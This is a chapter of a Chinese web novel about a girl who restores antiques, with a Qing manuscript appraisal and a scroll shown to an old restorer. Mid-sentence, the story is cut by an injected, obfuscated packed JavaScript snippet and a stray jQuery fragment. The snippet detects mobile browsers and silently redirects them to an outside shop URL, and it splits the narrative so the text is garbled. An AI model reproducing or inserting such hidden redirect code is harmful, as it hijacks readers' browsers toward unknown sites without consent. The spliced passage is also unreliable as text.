文趣网 > 都市小说 > 我在丝路修文物 > 15. 第十五章
    次日,叶轻辞正式开始修补新到手的簿册。

    旧纸页泛着温柔的黄,页角有些皱页和卷边。

    她屏住呼吸,用自制的竹镊子轻轻翻开第一页。

    不知材质的纸张纤维粗糙,但韧性不错。

    清灰之后,墨色沉静,历经年月反而透出一种润泽。

    “夫茶者,南方之嘉木也。”

    确实是陆羽《茶经》的开篇。

    而且不是印刷本,每一个字都是手抄的。

    小楷,工整得近乎刻板,有馆阁之形,是科举书生最常用的字体。

    笔画间既有唐楷的法度,又融入了些许汉隶的朴拙意趣,结构严谨而不失灵动,透着一股别样的书卷气。

    某些字的笔锋转折处,还能看到极细微的朱笔校勘或点读痕迹,颜色已经淡褪成暗红。

    叶轻辞轻轻翻到末页,仔细查看。

    没有署名,没有印章。

    只有一行小字:“嘉庆戊午年录于金陵客舍”。

    嘉庆戊午年,是1798年。

    距离现在,粗算竟是有两百年。

    叶轻辞的心脏重重跳了一下。

    冷静,越到这种时候,越不能激动!

    她闭上眼,进入迟缓时间。

    【系统,启动深度扫描。】

    淡蓝色的光幕在意识中展开,簿册的书页化作精细的三维模型。

    虫蛀的孔洞、水渍的边缘、折痕的深度、墨色与朱笔的氧化层……所有损伤被标注成不同颜色的光点。

    【鉴定报告生成——】

    物品:手抄本《茶经》,不全,缺封面及前两页序言。

    年代:清嘉庆初期,约1798年。

    纸张:江南精制竹纸,保存状态较好,纤维韧性尚存。

    历史价值:较高,作为乾嘉时期学者私人抄录的典籍,具有史料价值。

    艺术价值:中,书法具时代特色,但非名家手笔。

    市场价值:未知,若遇专门研究清代学术或茶文化的藏家,或产生较高溢价。

    修复难度:中上。

    【损伤详单】

    1.封面及部分页缺失,需仿古补配,难度高;

    2.第3-5页有浅褐色茶渍,需局部清洗,警惕墨迹晕染;

    3.全书多处虫蛀,共约十七处,最大孔径约米粒大小;

    4.装订线全朽,部分书页散乱;

    5.纸张整体酸化,脆性增加;

    6.朱笔校勘字迹褪色严重,需保护性固色。

    【修复预估】

    理想状态:需专业古籍修复环境及材料,耗时数月。

    当前条件下:宿主借助现有简陋工具,可进行基础性抢救修复,但无法解决酸化、固色等核心问题,强行深度修复风险极高。

    建议:优先进行稳定性处理,防止进一步损坏,待未来条件成熟,再寻求专业修复意见。

    【隐藏提示】

    首次接触高难度修复任务。

    无论成功与否,实践过程将大幅提升“纸张修复”、“墨迹保护”等相关技能熟练度。

    任务发布:尝试对该手抄本完成基础的稳定性修复。

    叶轻辞退出迟缓状态,睁开眼睛,手心后背全是汗,但瞳孔深处却燃烧着两簇兴奋的火苗。

    这是“千年回春”系统第一次给出古籍修复难度的正式评级。

    之前的连环画,连评级资格都没有。

    这意味着两件事——

    第一,这本书价值不菲。

    第二,她想要修好很难。

    嘉庆时期学者手迹。

    其知识价值和历史意义,远非之前那些残画墨盒可比。

    系统给出的评级,也印证了其分量。

    然而,这也意味着以她目前的能力和条件,几乎不可能完美修复。

    那些酸化、固色的难题,是真正的技术壁垒。

    这反而激起了叶轻辞更强烈的斗志。

    不能完美修复,不代表不能做任何事!

    “这可真是……了不得的东西啊。”

    她低声自语,将簿册重新用收好,决定暂时不告诉家人它的真正价值,以免徒增担忧或意外。

    *

    忙中易出错。

    无论是之前的卷轴,还是如今的残本,修补都不简单。

    因此,更需做万全的准备。

    或许,除了自学,她也该试着去寻找一些真正意义上的前辈。

    叶轻辞心忖。

    她想到了文化馆,想到了赵家舅舅工作的地方,也想到了老纸坊。

    她开始利用一切机会,旁敲侧击地获取关于书画装裱、修复的更深层知识。

    她央求叶爸带她去市里最大的新华书店。

    不是看儿童读物,而是久久徘徊在美术、历史、文物相关的书架前。

    这类书籍稀少且昂贵,她买不起,就利用迟缓时间,如同扫描仪般飞快地翻阅、记忆关键段落。

    尤其,是关于明清书画材质、装裱样式、常见病害与修复原则的内容。

    叶轻辞还偶然发现,老纸坊新来坐镇的姓褚的老师傅,眼力好,本事更是大。

    他偶尔会在天气好的午后,坐在店门口的小马扎上,掌眼一些小物件。

    叶轻辞仿画的作品不少,完成之后大都仔细卷好,轻易不示人。

    她还挑选了一部分,运用之前实验的做旧技巧,进行轻微的茶染、局部的仿古色渲染,让新作呈现出仿佛历经数十年乃至上百年的温和旧色。

    叫外人一看,画作真有一种经过岁月沉淀后的静谧、含蓄与斑驳感。

    这日天朗气清,叶轻辞手里拿着自己一幅故意做旧的仿古兰草图,“恰巧”路过老纸坊,装作不小心被门槛绊了一下,画脱手滚到了褚师傅脚边。

    “哎呀——!”

    叶轻辞轻呼。

    褚师傅弯腰捡起,展开一看,眉头微不可查地动了一下。

    他看看画,又看看眼前这个穿着碎花衣裳,一脸稚气却眼神清澈的小女孩。

    “小丫头,这画……你从哪儿弄的?”

    他问,语气平淡,但眼神带着审视。

    “我、我画的。”叶轻辞低下头,声音不大,却清晰,“照着家里一本很老很老的画册学的。画坏了,我想把它弄旧一点,就像……就像真的老画一样。”

    她适时流露出孩子气的懊恼和一丝对古老事物的向往。

    褚师傅没说话,又仔细看了看画上的笔墨和做旧痕迹。

    半晌,他才道:“笔力太弱,形也散。不过这做旧的念头……倒是有点歪才。”他把画递还给她,“真想学,先把线条练稳了。画得像不像老的,得先画得像。”

    没有斥责,没有深究,甚至没有太多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17034220|194440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    情绪。

    但这句“先把线条练稳了”,对叶轻辞而言,已是无声的指点,也透露出这位老师傅绝非普通人。

    她恭恭敬敬地鞠了一躬:“谢谢褚爷爷。”然后抱着画跑开了。

    这次试探,让她确信了两点:第一,褚师傅懂行,而且眼光毒辣;第二,他对自己这个“奇怪”的小孩,至少没有恶感。

    甚至,还有一丝不易察觉的兴趣。

    这就够了。

    她不需要立刻拜师,只需要一个可能被看见的机会。

    真正的底牌,还是床下那个卷轴。

    时机,在春分后到来。

    叶爸厂里组织职工去邻市兄弟单位学习交流,要去三天。

    叶妈最近也忙,经常加班。

    叶奶奶常去棉花厂后街,照顾有些咳嗽的陈泉。

    家里白天常常只剩叶轻辞一人。

    她知道,机会来了。

    这天,她早早完成日常练笔安排,然后从床下请出了那个尘封数月的卷轴。

    她没有在自家昏暗的屋里动手,而是仔细用厚布包裹好卷轴,拎着它,又去了离家不远的老纸坊。

    午后的阳光好。

    褚师傅果然又坐在门口的小马扎上,手里拿着一把烟枪,对着光慢慢转。

    叶轻辞走到他面前几步远站定,深吸一口气,将竹篮放在地上,掀开厚布,露出了那个依旧脏污但轴头已被她小心擦拭过的卷轴。

    “褚爷爷,”她声音不大,却带着一种与年龄不符的郑重,“我……我有个东西,想请您看看。东西太破旧了,我不敢自己动它,怕弄坏。”

    褚师傅的目光从烟枪上移开,落在布兜里的卷轴上,停顿了几秒。

    他没问“你哪来的”,也没赶她走。

    他歪了歪头,神色有些怀念,拍了拍身边的空地:“拿过来,放这儿。”

    叶轻辞心头一喜。

    她小心地捧起卷轴,放在褚师傅指的铺了软布的石台上。

    褚师傅戴上老花镜,又摸出一副旧得不成样的棉线手套戴上,这才开始仔细端详这个卷轴。

    他的动作很慢,先是整体观察尺寸、装裱样式和破损程度。

    眉头拧了拧,又然后重点查看轴头玉质,镶边绢帛的织法和颜色。

    最后,他用手指极其轻微地触碰卷身不同部位,感受内部的硬度与弹性。

    整个过程持续了将近二十分钟。

    叶轻辞屏息凝神地站在一旁,不发一言。

    终于,褚师傅摘下手套,看向叶轻辞,目光复杂:“这东西,你从哪儿来的?”

    “就是在纸坊,五块钱买的。”叶轻辞老实回答,补充道,“上次买残画的时候,一起看到的。我觉得……它里面可能有好东西。”

    “呵,五块钱?”褚师傅嘴角似乎抽动了一下,不知是在感慨她的胆大还是那离谱的价格,“你知道这是什么裱式吗?”

    叶轻辞摇摇头,又点点头。

    “我看了些书,好像是……清时候比较流行的绫裱。不过这个的颜色和破损,又不太一样。”

    “有点眼力。”褚师傅眼中掠过一丝惊讶,微微颔首,“这是仿宋锦裱,流行于乾隆到道光年间,这卷用的还是苏杭一带的上好院绢……虽然现在脏破不堪,但底子不错。”他指着轴头,“青玉轴头,质地一般,但有工。”

    “关键是……”